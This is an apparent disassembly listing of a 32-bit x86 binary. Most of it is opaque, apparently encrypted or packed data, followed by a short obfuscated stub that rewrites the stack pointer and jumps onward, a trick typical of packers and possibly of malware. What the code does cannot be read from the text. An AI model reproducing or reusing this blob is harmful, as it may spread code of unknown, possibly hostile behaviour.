		dd 77h,	12F5B5FFh, 6CE90606h, 0FF000000h, 61325B5h, 61E906h
		dd 0B5FF0000h, 6062D29h, 56E9h,	9DB5FF00h, 0E9060622h
		dd 4Bh,	217DB5FFh, 40E90606h, 0FF000000h, 62705B5h, 35E906h
		dd 0B5FF0000h, 6061165h, 2AE9h,	1DB5FF00h, 0E9060620h
		dd 1Fh,	145B5FFh, 14E90606h, 8B000000h,	0BB8D8h, 0F7660000h
		dd 0A68D8DE3h, 3060CA3h, 0FFE1FFC8h, 6079195h, 858B5B06h
		dd 60628DDh, 0F045839h,	0F85h, 16A5300h, 1AC995FFh, 0E95B0606h
		dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 3389858Bh
		dd 8D8D0606h, 60CA494h,	8B014189h, 10E8C3h, 7F680000h
		dd 66FC6B2Bh, 0E1649F47h, 410A759Dh, 0D0810B05h, 79D9A236h
		dd 81EC8A5Ah, 658FC2h, 0C9F78100h, 3353545Ch, 5EC80DBh
		dd 531A348Bh, 0BFE78166h, 0C681597Eh, 37E8F45h,	9D75EE81h
		dd 0B8663DF6h, 0EE8119E0h, 17D6BAC2h, 3489FB8Bh, 58E0F1Ah
		dd 57000000h, 58C3B70Fh, 8E9h, 0D146F200h, 1FABD5B1h, 89EB816Bh
		dd 0F9300696h, 9685C381h, 81FC3006h, 0FF9AF0FBh, 0A9850FFFh
		dd 0B1FFFFFFh, 0C185C60Ah, 56060601h, 0C530DF68h, 0DDB5FFA9h
		dd 8D06061Bh, 97A7C85h,	8DD0FF06h, 62A798Dh, 406A5106h
		dd 13C9B5FFh, 0B5FF0606h, 6062061h, 0B5FFD0FFh,	60613C9h
		dd 2061B5FFh, 11E80606h, 0B000000h, 3A4243BAh, 0FCD598C6h
		dd 9A50A1A8h, 1B635D57h, 0EE835E5Eh, 242CC104h,	2424C102h
		dd 24340302h, 0BA241CF7h, 0
		dd 5B3234FFh, 8EB4F381h, 0F3811A39h, 40F537E2h,	0A837C381h
		dd 1C8970A7h, 65EA8116h, 816F78FEh, 78FE61C2h, 24143B6Fh
		dd 19850Fh, 29E90000h, 15000000h, 0A7CFDBDFh, 0F6D2AF9Bh
		dd 80F986F5h, 19983A54h, 0E9C242FBh, 0FFFFFFB4h, 0B139639Bh
		dd 3803DF8Dh, 5E381FC2h, 91EEB546h, 2B4D9D8Dh, 38B0606h
		dd 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 0C98D8DC9h, 6A060CA6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 827FC356h, 11C1BD29h, 85890606h, 6063141h
		dd 28DD8D89h, 0B5010606h, 606334Dh, 111185C7h, 74B80606h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0B3F22EC3h, 51CFB581h, 85C7876Eh,	6062E49h
		dd 0
		dd 3410B0BBh, 7DB5FF07h, 6A060621h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 40CC352h
		dd 107D5E91h, 0FFB090FFh, 6079195h, 75B58B06h, 6A06060Dh
		dd 0C995FF00h, 8B06061Ah, 0ED6DEBC0h, 0B2841D01h, 5B56C239h
		dd 0C6B89507h, 0F7A205AEh, 995AB2F7h, 8E34D847h, 0A4FCF17Fh
		dd 0DED1FD47h, 0F6BB3473h, 0A26F932Ch, 85630709h, 2097C836h
		dd 9F6FA6EFh, 0D55AC6DCh, 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh
		dd 8ECD974Bh, 0FFCFC336h, 0F9650019h, 0EB196865h, 5C0A3EE8h
		dd 0D8026691h, 8C66B3A9h, 0C697BE7Eh, 7C51B13h,	78920EAFh
		dd 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh, 92B395A7h
		dd 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h
		dd 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h
		dd 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh
		dd 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h
		dd 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h
		dd 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh
		dd 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h
		dd 97B3EDh, 0E7A601E8h,	83323D94h, 28BAA97Bh, 125CE9h
		dd 0AA1A6800h, 82E9060Ch, 68FFF9D5h, 60CAB1Eh, 0F9D578E9h
		dd 0ABEE68FFh, 6EE9060Ch, 68FFF9D5h, 60CAD4Ah, 0F9D564E9h
		dd 0ADE268FFh, 5AE9060Ch, 68FFF9D5h, 60CAE87h, 0F9D550E9h
		dd 0AF5868FFh, 46E9060Ch, 68FFF9D5h, 60CB009h, 0F9D53CE9h
		dd 0B0A468FFh, 32E9060Ch, 68FFF9D5h, 60CB1FDh, 0F9D528E9h
		dd 0B2DF68FFh, 1EE9060Ch, 68FFF9D5h, 60CB422h, 0F9D514E9h
		dd 0B53D68FFh, 0AE9060Ch, 68FFF9D5h, 60CB722h, 0F9D500E9h
		dd 0B80C68FFh, 0F6E9060Ch, 14FFF9D4h, 0B6D43675h, 5270D2D1h
		dd 0F4127433h, 93B11390h, 5752B4EFh, 0D9CAB8AEh, 802F5977h
		dd 2083001Eh, 0BDE6A0BEh, 5085065Bh, 33D1246Dh,	9AA5697Fh
		dd 0D261BFECh, 0FB595632h, 9EE8769Ch, 3449A305h, 4A265BECh
		dd 542BC24Bh, 0ABAF0E43h, 588B33CAh, 6674096Dh,	0CBF152AFh
		dd 6E0E9F00h, 9D698F14h, 0F5C8FD0Eh, 0F733CAB1h, 744D7096h
		dd 2533CAB2h, 80709D09h, 0E7AEF3AFh, 49h, 0FD892923h, 0B1F68EAEh
		dd 64ACC18Bh, 7CB1C2D3h, 2DC47C41h, 92C52B3h, 2BC27F43h
		dd 418BFE95h, 0B891A79Ch, 9AB1EE70h, 0F81E02E7h, 0BB6ECC2Dh
		dd 33CA9F06h, 90F49493h, 3056B513h, 757B9214h, 0F2AEF398h
		dd 119h, 0BFEC9A2Eh, 0B392972Eh, 0CF7D1EDBh, 0CAB3EA3Ah
		dd 6A90F1D6h, 0E202809Eh, 10A102A1h, 2F8D1670h,	0C0DEAAD0h
		dd 617FDDC6h, 9C215625h, 502DC562h, 792C8EEFh, 2DC5601Fh
		dd 15773452h, 7D407586h, 0B52DC560h, 0A2BD4B48h, 2B8CE9E0h
		dd 940F7705h, 7F87DC36h, 6B384EEEh, 0DF114645h,	152BC31Eh
		dd 9BF852B4h, 6787366Bh, 0C6D33CBh, 0D3831AABh,	359D5489h
		dd 7A4E404h, 25244AA9h,	0EFCE0314h, 533CA85h, 0C55B7EA4h
		dd 7B31D2D4h, 9924596Ah, 5B2DD333h, 347845FAh, 1B7C2DD3h
		dd 7A0A2AF5h, 0F70CF2Dh, 0CFA4DE7Eh, 0D334239Ah, 768C92Dh
		dd 0F8AFD676h, 75AA3B9Ah, 2DD33448h, 55254BACh,	23584B37h
		dd 83FE43F6h, 0A1670763h, 8000000Fh, 1A389A09h,	0BEDC3E6Dh
		dd 607EE0C7h, 0FF1D7F24h, 0C3BE2083h, 455E243Ah, 0E4C3C5E3h
		dd 841F6482h, 29820422h, 0BCF172C7h, 33D12601h,	2919DDF3h
		dd 52B0FF89h, 433FCDF3h, 0A6E0FE60h, 265B6CFDh,	2DC47B97h
		dd 6D6FC5Dh, 1015EB2h, 80113B70h, 0A2032BC2h, 80309144h
		dd 6A6933CAh, 0CBF1BECAh, 0DA16F7AFh, 8DAEF378h, 0DEh
		dd 0BFEC9AC9h, 0B7D1D2Eh, 7BD6E79Ch, 0B5162DC4h, 2334C38Fh
		dd 0C47BCFEEh, 9EC4252Dh, 0A0317210h, 0BF1D8600h, 65C6E5A1h
		dd 0D3E4733Fh, 0C47C1F9Eh, 4E74D52Dh, 0C4796D2Bh, 183232Dh
		dd 98EE7CA2h, 7A1AA90Bh, 0E03F9D0Ah, 0B5DBC8C0h, 0E6445F27h
		dd 9E2F778Ch, 0C25B8769h, 73CCD2Bh, 33CAAAB6h, 1274D536h
		dd 0CA5B5BB8h, 4A73A8B9h, 0AA33CAABh, 0F1002349h, 0AF31D303h
		dd 0A30730Fh, 3D681F3Fh, 8E1F80DFh, 0AD0F94EEh,	7BB0F38Fh
		dd 83FE7B58h, 9D09A905h, 7C00000Eh, 1E3C9E0Dh, 0BAD83A69h
		dd 5C7ADCCBh, 0FB197B28h, 0BFBA1C87h, 41622036h, 0E8C7C1DFh
		dd 881B6886h, 257E0826h, 0B8ED6EC3h, 33D12705h,	9A0DD1E7h
		dd 932ABBE8h, 933C320Bh, 0C494BA41h, 61C3E0A6h,	575432D2h
		dd 0EC9A6D31h, 5F60CE09h, 4FB08D61h, 0F8B3D3F1h, 0C1F60796h
		dd 2DC509FCh, 146F8FF0h, 0A8DD6B91h, 185A301h, 43440A2h
		dd 26B7FF14h, 0C3088FF1h, 5004652Bh, 54DA932Dh,	50D62E0h
		dd 3A0D3F74h, 0E8FF1D4Fh, 2009F866h, 0A1E303C2h, 0E445A402h
		dd 0CFD72C86h, 0BFE49E3Eh, 5CBAE99Fh, 0A3D8D7FDh, 23578C72h
		dd 5F700162h, 486B932Ah, 0D2F8591Fh, 585333D3h,	445F27C7h
		dd 916187E6h, 63981373h, 9288FCC2h, 0CD9B3B97h,	0AC00000Dh
		dd 4E6CCEDDh, 0EA086A39h, 8CAA0C9Bh, 2B49ABF8h,	0EFEA4C57h
		dd 71325006h, 1897F10Fh, 0B8EB98B6h, 554E3856h,	0E81D9EF3h
		dd 33D126D5h, 9A3D0117h, 761BFECh, 0E419AAEAh, 2BC24B08h
		dd 2D87E94Ah, 0A83FD0D0h, 15029169h, 0FEA9C0D4h, 9F216FC1h
		dd 76ABAAD0h, 31C8F77Ah, 6B91778h, 2DC508BBh, 29E4C2DEh
		dd 0A8EE02C7h, 57A0h, 1829DC00h, 6B09F281h, 8D42709Bh
		dd 2DC4C130h, 0C7258401h, 84AA0B68h, 0CC5DA5BAh, 3E1F24BBh
		dd 0AB78AA50h, 0C4B54776h, 0EB4CAD2Dh, 6ECDA2C5h, 0A2032BC2h
		dd 93127111h, 0F3417E31h, 0DB7B33CAh, 41A0FEADh, 0AAF98D1Bh
		dd 6A19B948h, 0FC87153Bh, 9AB4BA9h, 0D700000Dh,	0AEFD8929h
		dd 1CBF150h, 0DE13A4ECh, 2BC8DC94h, 38D869CAh, 2DC4554Eh
		dd 50FC078Bh, 8353796Bh, 0F1822165h, 14723151h,	69C38FB5h
		dd 0F94C5614h, 0F8A82103h, 21660697h, 7D062482h, 869C826h
		dd 0D90F64F1h, 20467ADFh, 2215EC21h, 7EDF31D5h,	0AB394DEDh
		dd 0D6FD0DBh, 3A4D97EFh, 4DAE0D6Bh, 0A7C960EFh,	4EF648EEh
		dd 223F092Fh, 0D1B151E2h, 0BCE2AB1Ch, 52B3BD6Ah, 8D3065F4h
		dd 5F2DC579h, 78779DFEh, 0C34EFD43h, 6196F72Bh,	7E0615CAh
		dd 71973793h, 5000000Ch, 0EA086A39h, 8EAC0E9Dh,	304EB0F7h
		dd 0CFED4F54h, 938EF0B3h, 158EF4EAh, 0B4F395B3h, 544F3452h
		dd 0F9B2D4F2h, 8CC14297h, 33D12931h, 29E9ADC3h,	86F3C992h
		dd 0A9C97E1Ch, 0E6DCBDAh, 0BAFCC5E8h, 0B3C42DC4h, 0C4BB3F7Eh
		dd 2E54B52Dh, 76070F64h, 0C91CC841h, 0FDA5BC2Bh, 0FAC3F832h
		dd 0FA33D07Eh, 0D6EC8299h, 0A747D839h, 4462C4DFh, 0B9043942h
		dd 3B33D114h, 0C11B79DAh, 3CD364ACh, 0FF0AA499h, 10026C4h
		dd 0CEF620CCh, 0BCF15231h, 84025337h, 0D9E888E4h, 0B800000Bh
		dd 5270D2D1h, 0F6147635h, 98B6188Fh, 3755B7ECh,	0FBF6584Bh
		dd 7D265C72h, 1C8BFD1Bh, 0BCE79CBAh, 614A3C5Ah,	0F429AAFFh
		dd 33D128C9h, 9A51152Bh, 4361BFECh, 0C30A6843h,	648C8125h
		dd 3A8ED79h, 681h, 0C51F6404h, 2B8AE8BFh, 5EE0A4CAh, 0D0700101h
		dd 0CBCAF0B3h, 0C8DD5696h, 97C9C2Bh, 9AFBAADBh,	0C8BDDD3Ch
		dd 0C32483E1h, 0DC8A2132h, 0E80553E5h, 0BEC8567Ch, 0E4354E5h
		dd 33D128AFh, 0EEBEE445h, 8FEDB6D0h, 0D128E5DCh, 0B3F31033h
		dd 0F7FFED22h, 94F531CEh, 250E45Fh, 75157184h, 0B34h
		dd 0D5377613h, 73D5D0B7h, 17793055h, 0BA1C8BF9h, 5BBDE69Ch
		dd 0C1C19760h, 266280E2h, 7A092789h, 0DBABC92Bh, 98196ED0h
		dd 0D12A5A63h, 0C0849A33h, 61BFEC9Ah, 0D7684343h, 8AA34C37h
		dd 2470DBA7h, 44103697h, 0ACDC7CFDh, 0E9BDD9FFh, 0EDE2CC24h
		dd 5CB9BA8h, 8B9C0000h,	0C4EE6756h, 62C8D2Dh, 0FE892942h
		dd 5B6689AFh, 652DC47Ch, 0C2E2C1C5h, 2988E6C5h,	1D243903h
		dd 7EDD3B6Ah, 7C05B8EDh, 86E72DC4h, 0FAFD9425h,	475C6B94h
		dd 295E5D83h, 2BC90403h, 0CBDAA9C9h, 4D39D96Ah,	0A8DEFC5Eh
		dd 0FC5A493Ch, 4FDE3C9Dh, 750ED8AFh, 106FCD2Eh,	0C3C320EAh
		dd 388A2132h, 744537CDh, 0B933567Ch, 0BB31CE84h, 0E5AC255Ah
		dd 0D5318402h, 0A6335h,	68474200h, 49FE806h, 0A20184A2h
		dd 45622240h, 0E6BDC5E3h, 0EAFC8984h, 8BA90B98h, 2E4CAEFDh
		dd 0CEEC4E55h, 3489EBB8h, 2B3F7EB3h, 9FB533D1h,	0BFEC9ADBh
		dd 68434361h, 0C97EC0Ah, 0ADF690AEh, 980E2C4Fh,	6541DF28h
		dd 0ED7948A8h, 4FF1FA8h, 89200000h, 9FAC4483h, 0A085109Eh
		dd 1061556Ch, 5EB2769Ch, 62414201h, 0B344A504h,	0C8DCE97Eh
		dd 65F6572Bh, 229E1F54h, 2E4E33D1h, 0CAF05156h,	915B2BCBh
		dd 0F557B8F7h, 0C53EAFD7h, 6BA95AD0h, 0DBC8BCDCh, 58691C7Ah
		dd 9D33D0D0h, 7AAF4040h, 31CE9F72h, 73E21778h, 0DC840288h
		dd 9B2E080h, 0F8910000h, 4E3957B9h, 0A6DFFD5Fh,	57F9DFFh
		dd 641E3C9Eh, 15E2DD3Fh, 2643F43h, 0A507A4E4h, 47A9FC87h
		dd 0EC4E5D29h, 0DCE11697h, 1033D12Bh, 0EC9A36FAh, 7C635A8Fh
		dd 69892DC4h, 0D1308E1Dh, 93B10F70h, 135AB8F3h,	14DC3175h
		dd 53A8ED79h, 44Dh, 7BB7058Fh, 213E2DC4h, 1F1B50E1h, 0D52BC8DCh
		dd 4343E374h, 9EE80668h, 50C19F4Fh, 0D8397FC8h,	0C5E0A747h
		dd 6479D39Fh, 9A568B1Ch, 0A431CE99h, 0C238004h,	0AD72EFC1h
		dd 6732580Fh, 0BCF4D106h, 0E5418402h, 91745h, 1493F600h
		dd 0B8F394B2h, 564D3856h, 0F9AED6F4h, 9A097997h, 9EB03D38h
		dd 3F5DBFE4h, 0DAF85A49h, 7A98FAA9h, 0E83D9F0Ch, 2C8B3267h
		dd 4B6133D1h, 0BFEC9A87h, 0B2434361h, 0D3DBFE64h, 0E8D50AC0h
		dd 0C2DC578h, 5D2A4AABh, 3091F04Eh, 38D869D2h, 9CFB594Ah
		dd 0B54C5A76h, 0A141D2D1h, 766C4E3h, 0F1FF11E1h, 0FFA8EE71h
		dd 207E255Fh, 0C3E2A1C1h, 58E00665h, 146h, 8FEC9A94h, 0C47C635Ah
		dd 1B69892Dh, 6ECF2E8Ch, 0F591AF0Dh, 0E5FA54B6h, 5BFB0C9Dh
		dd 0E0C7BD27h, 9CC2217Fh, 0C24BF779h, 3E9CFD2Bh, 0CAAC368Bh
		dd 0C4646333h, 0A3BFE5BEh, 0A8E60A03h, 6A0AAEF3h, 0CF2E8C1Bh
		dd 3C21A9h, 11220000h, 0CAB3E1DCh, 8CB21333h, 42015EC8h
		dd 71026340h, 0C280103Ch, 3C71022Bh, 33CA8081h,	20B11273h
		dd 419F0480h, 3DF0BCE2h, 33CA8084h, 60ADF915h, 0AEF37990h
		dd 0A0D7h, 0EC9A1300h, 3F4361BFh, 923CD364h, 444205F2h
		dd 89A77399h, 0C150AEFDh, 1E446321h, 4BADF690h,	0C4BB3098h
		dd 1C87FF2Dh, 119CEB8Bh, 6A83E5FAh, 0D4FA5DABh,	4D55AA04h
		dd 0F2FC87BCh, 8FF02BCCh, 5B8EDFEh, 0E733CD2Dh,	0C1616086h
		dd 6280E2C1h, 7B4E8320h, 0C47E043Bh, 7BEC868h, 0EC9D0000h
		dd 4A3D5BBDh, 0AADBF95Bh, 97B99FBh, 681A389Ah, 11DED93Bh
		dd 0FE60433Fh, 99FBA8E0h, 3B9D087Bh, 0D83A691Dh, 0F0CD0283h
		dd 433D12Ch, 0E89A2AEEh, 0C2208BFCh, 11A00263h,	6D931271h
		dd 9AFCA7DFh, 0BFEC9A46h, 0B1F68E2Eh, 2CEF453h,	9253A2E4h
		dd 6B384AA3h, 2797AE0Dh, 1B7DDE83h, 2487Bh, 15EA700h, 0C85F7001h
		dd 3B7932F6h, 0A1C4EA7Fh, 2BC2A6F3h, 772A88E9h,	33CAD94Ah
		dd 1D73334Fh, 43A1087Dh, 0B43CBEE4h, 0B3AEF3D2h, 1E7h
		dd 7BB505EFh, 273C2DC4h, 2B194EDFh, 0C12BC8DCh,	0ADBECF60h
		dd 0D1234578h, 2046A733h, 26B7F492h, 9AF598Fh, 67142B7Ah
		dd 0A8789E23h, 51AFFC8Ah, 3F652BC2h, 0BFD446D6h, 72B2CF99h
		dd 0ED44ACE1h, 0CD2E31CEh, 235C798h, 98389484h,	6DCh, 7DDFCEBBh
		dd 1B7D285Fh, 0BF2188FDh, 62C4E3A1h, 3653E44h, 19697F08h
		dd 7E0A288Ah, 0D2B1CF31h, 335371D3h, 40C11678h,	0D12DB20Bh
		dd 682C4233h, 61BFEC9Ah, 555232D2h, 0C6E5A12Fh,	5551FF68h
		dd 7012DAACh, 1576D533h, 754FA1B3h, 4418A8EDh, 54000001h
		dd 8300EC9Ah, 635A8F20h, 892DC47Ch, 0DA69C728h,	7C2994C9h
		dd 0B4CB2DC4h, 0B23239B1h, 5C82E3BDh, 89EBB8CEh, 9B4E9FAh
		dd 0EB2DC47Eh, 4C87738Ah, 5AD88B88h, 57156A34h,	13995Ah
		dd 596F79Ch, 61871E65h,	2C432D62h, 0D0312BC3h, 57BBA83Fh
		dd 92B8053Ah, 0DB3C33CAh, 8F3356C4h, 0D7EA9D69h, 0C233CB76h
		dd 0F99000A6h, 0AA707CFFh, 0B3355B10h, 0AEF3CF3Dh, 2D2Ah
		dd 89296600h, 77467BFAh, 7D2DC47Ch, 0CB95BB1Ch,	0A8DD6EB6h
		dd 2BC27FA4h, 0B467C526h, 33CA800Dh, 0D736708Ch, 0AEF37919h
		dd 864Eh, 0EC9A8A00h, 3F4361BFh, 9EE80664h, 0FD89A705h
		dd 0C4861DAEh, 0E6BD6B82h, 0BB6E3E64h, 2DC4D1FDh, 0F98A6224h
		dd 8DE749AAh, 6A9F3070h, 2BCDCF19h, 4C572F4Fh, 9D2E8FEEh
		dd 0BC1E85FDh, 8ABFE49Eh, 7E0497C3h, 9960005Ch,	78000005h
		dd 12309211h, 0B6D43675h, 5876D8CFh, 0F715772Ch, 0BBB6188Bh
		dd 3D661C32h, 0DCCBBDDBh, 7C275C7Ah, 218AFC1Ah,	0B4E96ABFh
		dd 33D13009h, 9A11D5EBh, 1B88FCE8h, 4C3A58BAh, 9AA9FD5Fh
		dd 0D261BFECh, 7C318CC1h, 62C32DC4h, 0CBD8AE3Ch, 33C969h
		dd 9AF50000h, 4361BFECh, 0EC0A6843h, 93B10F9Ch,	385BB9F4h
		dd 0F3348C1Ah, 0CDA3CB62h, 0CED45714h, 23B5083Dh, 0D6372DC5h
		dd 0EF1294B0h, 0AAA0C97h, 2Bh, 0BFEC9A36h, 0AEF58E2Eh
		dd 52513250h, 0A33495F4h, 0C47C4F6Eh, 1E44A52Dh, 5F23C352h
		dd 0C5FB1E44h, 332DC47Bh, 96F01195h, 9A57AB0Dh,	1F8400ECh
		dd 0E90660BEh, 8FE318A9h, 912BC8DCh, 23724B80h,	0C3BF33D1h
		dd 0FC2283E0h, 9F3FD031h, 0CB5ABCE7h, 233885BAh, 5BBC33D1h
		dd 0C4DFA735h, 0AFF70C66h, 0DC760D1Eh, 6386532Dh, 4DB4D7FDh
		dd 2731D521h, 0F19535C6h, 543250B2h, 56B4EF98h,	0DE3896F7h
		dd 0BBF08181h, 2BC33485h, 24D90E6Fh, 217E0624h,	47E25C5h
		dd 2C5D0000h, 8AFD1B7Dh, 0EA9BB91Bh, 493B59BBh,	0A8DAF85Ah
		dd 0D19E99FBh, 0BE2083FFh, 59BBE8A0h, 0FB5D483Bh, 98FAA9DDh
		dd 308DC243h, 0C433D131h, 0EC9AEAAEh, 473F5DBFh, 0A6E0FE5Ch
		dd 7C2598CDh, 66C72DC4h, 4654246h, 0F6B5D373h, 0ED9B04D0h
		dd 653E48B9h, 74FFF103h, 3468A8EDh, 0A4000000h,	7001015Eh
		dd 0C236343Bh, 2EBF202Bh, 4CAEF58Eh, 52EB26BDh,	0F3DA2A7Ch
		dd 0C1832EDCh, 557B2928h, 0CB098D32h, 0BDE6A033h, 5F463D5Bh
		dd 3EE6101h, 298D0000h,	7BDAE318h, 0B1E62DC4h, 2DC47C0Ch
		dd 2227FE0h, 69C82685h,	3254E208h, 81DFCCBAh, 4563C122h
		dd 0A6006241h, 83B84949h, 2BC24BEDh, 752886E7h,	33CAAC4Ch
		dd 0D6AE4E4Dh, 178FABD1h, 0F3A8FAF6h, 0B0E5F6AEh, 33CAB40Dh
		dd 0D0587EDFh, 69h, 0FF89290Ch,	0CDF352B0h, 15A6EE03h
		dd 0ADE2F304h, 2DC47C10h, 0EFCE83E4h, 422DC47Bh, 0A8076542h
		dd 0A1C4EA4Bh, 2BC27FABh, 0AF62C021h, 33CA8012h, 0A7D671Fh
		dd 0BEDC3A9Bh, 426121C7h, 0C62485E4h, 7FBB0237h, 0D03133CAh
		dd 0A7198DABh, 3AD3D3EFh, 0AEF379B6h, 0BFEC9A3Ah, 3C710261h
		dd 33CA8C81h, 64EC1273h, 0DEh
		dd 0EC9AA0h, 62C11F84h,	7414A301h, 0E3719714h, 88A6049Fh
		dd 2947A5FEh, 5DEC4E5Dh, 7178FEC6h, 265F6FF7h, 0D5F81E7Fh
		dd 2DC4C8C3h, 0A90B98EEh, 52B0FB8Bh, 366B9BF8h,	2DC4CF87h
		dd 70CEDDAAh, 0C253B411h, 0C4CF308Dh, 263C42Dh,	6D54DA71h
		dd 10F4481Bh, 70CF2D76h, 0B5EAE90Fh, 2BC311A3h,	74CE3091h
		dd 0E686171Fh, 0DEDD03A0h, 0D35FE0A9h, 22B31431h, 0A0E40082h
		dd 0A01F9ED3h, 74D52DD2h, 3F56B513h, 0ED0DF19Ch, 55B718B7h
		dd 23584B37h, 83FE6578h, 99E989E5h, 78000002h, 12309211h
		dd 0B6D43675h, 5876D8CFh, 0F715772Ch, 0BBB6188Bh, 3D661C32h
		dd 0DCCBBDDBh, 7C275C7Ah, 218AFC1Ah, 0B4E96ABFh, 33D13309h
		dd 9A11D5EBh, 0CA59BBE8h, 7C3984B9h, 5ABB2DC4h,	0C3E0A634h
		dd 15E0D61h, 5664542h, 800D3F74h, 0DFFF2BC2h, 5E4540A6h
		dd 0DF40A100h, 0D0D7AE4Eh, 21ED1372h, 0CA80536Eh, 7C2A4633h
		dd 0EFCE0314h, 533CA7Fh, 0F4FC7EA4h, 0FCAEF378h, 8C07B6EBh
		dd 8CED33CAh, 0A1DE66h,	3FDF0000h, 0A4036144h, 0EC9ABA7Eh
		dd 3F4361BFh, 45530664h, 6C2DC479h, 112F911Ah, 7ED83675h
		dd 1BCF161h, 0F32DC47Fh, 6BA03192h, 2BC25EEDh, 0CE65F657h
		dd 0E010FA5Fh, 1BEB1100h, 0DFA5ACC1h, 0AA0B6AC8h, 0E44E419h
		dd 0CD2E31D3h, 0BDE69C3Ch, 9F453D5Bh, 463C1E4h,	56C56EA3h
		dd 3E9A83FEh, 1AF9Eh, 0ACFB8E00h, 505B2C4Ah, 0EEB5D0EEh
		dd 91166E8Ch, 3271112Fh, 3628D5D0h, 0D7F5574Ch,	7290F2B1h
		dd 12309211h, 80D53774h, 33F3CAFFh, 0E3F933D1h,	0FE89291Fh
		dd 87FB89AFh, 0EA9CBA1Ch, 9A0B5FC1h, 4361BFECh,	0E8066843h
		dd 4DA7059Eh, 4E5FF030h, 0A4CAD9AEh, 0C268DF81h, 96F4552Bh
		dd 98693D6Bh, 0F953B5EEh, 0D60B9CE4h, 31C8934Eh, 27840424h
		dd 39D968C6h, 9FAAA64Bh, 238EF8BDh, 780E9CC2h, 54899A2Bh
		dd 2DC56D69h, 38042A8Bh, 0D384691Ah, 41995416h,	23419F00h
		dd 7EE74560h, 0A9EAD6D0h, 0C51AABFBh, 841B2CBDh, 0E174ADF3h
		dd 0E22F622Bh, 29125F76h, 89A11C51h, 0F2532DC4h, 0F2CB0091h
		dd 22DC489h, 0CC587BA1h, 9E2BC28Eh, 0C9BDDB3Dh,	0C4B249DAh
		dd 17963B40h, 0C22087FEh, 10DC0263h, 0B41291F2h, 0B64B5B89h
		dd 3142D3D0h, 0CB53C1FCh, 6DA23333h, 33CB5450h,	0BCE243A4h
		dd 357D92ECh, 40F16FA4h, 0FE0F31C9h, 0C546F4C9h, 574E352Dh
		dd 0A87399FAh, 6D16B647h, 26441036h, 0C7E54360h, 6886E4BFh
		dd 0BF28861Dh, 0FE2B9511h, 92EFD6D0h, 95F3B2D3h, 0F44D536h
		dd 2BC33351h, 94295E6Fh, 5833CB53h, 0A506D1F7h,	8C94E943h
		dd 0B4D4C6FBh, 79DA31CFh, 1A89FD1Bh, 2D9229B8h,	0AD962264h
		dd 0C0D12FC9h, 0D83988E8h, 496224B2h, 0D41738EBh, 8B39037Ch
		dd 3A0E61Bh, 0A80383A1h, 4B582C4Ah, 3F6C1ABAh, 173D681Fh
		dd 0B4F2204Bh, 86A394Dh, 0AADF9CEAh, 5C80F413h,	0B91778D9h
		dd 0AEFD8A2Ah, 0B2D1F150h, 103695F3h, 300h, 65A2C00h, 62C0EF9Ah
		dd 0B694244h, 0B10F96EDh, 58B6F593h, 0FD5B483Ah, 0A200A3DFh
		dd 45A30084h, 0E9475E27h, 93F1BCCBh, 4E54681Bh,	0C890000h
		dd 0F466824h, 0C890000h, 35AD6824h, 1C890000h, 86685224h
		dd 5A060CA8h, 545AD189h, 83241C8Bh, 6F6804C4h, 8900003Fh
		dd 438F240Ch, 241C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		db 90h
		dd 0B769EFC9h, 0E49A07Fh, 0B9E0B804h, 0C503060Ch, 4A1E0FFh
		dd 87437E3h, 0CDD83DBAh, 9A5B0B3Ch, 9BF16C4Bh, 0EC8067A6h
		dd 0A51C2657h, 929F090Fh, 55E31503h, 91937D08h,	465474F6h
		dd 0FA4F4667h, 0EC86A55h, 0D746799Eh, 0C48F6750h, 0C5435BFEh
		dd 0E3C10903h, 11CD3761h, 88086686h, 3B6A50D3h,	76417370h
		dd 0B9E5347Dh, 0D9117DD2h, 4F83493Fh, 0D93B7BFAh, 2C267858h
		dd 0D63D1B2Eh, 9F4F5FB2h, 0DD1B2F9Dh, 7E83698h,	0A0000000h
		dd 0E211C202h, 0F6017B2h, 5961FBB7h, 2395DE81h,	0C1816A13h
		dd 7553h, 17BFF18Bh, 815D3CF2h,	3CEF08F7h, 8BD78B5Dh, 12E919h
		dd 9B960000h, 0CB2411ACh, 0F60AF8D8h, 6D881DDDh, 3656A724h
		dd 8638C381h, 5E82353h,	15000000h, 0D1BE308Ah, 6D98CA81h
		dd 815807C5h, 8227C6C3h, 47BE6623h, 2EF381DEh, 0F86C97E5h
		dd 8FC28B53h, 91BA6601h, 3E98313h, 1A830Fh, 12E80000h
		dd 64000000h, 2BA2718Fh, 0E8925E6Ch, 0CCB0665Fh, 5DE26A0Bh
		dd 58D38A80h, 1CBE6649h, 1EF811Fh, 0F000000h, 1A85h, 51E48000h
		dd 2DE9h, 0BAB66600h, 8C5D36C0h, 7E7B539Fh, 2C6C4193h
		dd 80CA5741h, 60E944E8h, 0FBFFFFFFh, 0BD241329h, 0DBCBC587h
		dd 49B6272Bh, 65E858B4h, 8D8D0311h, 60CBC7Eh, 89C7B70Fh
		dd 628DD8Dh, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 63C403CBh, 47A8BE60h, 0B5891A7Ch
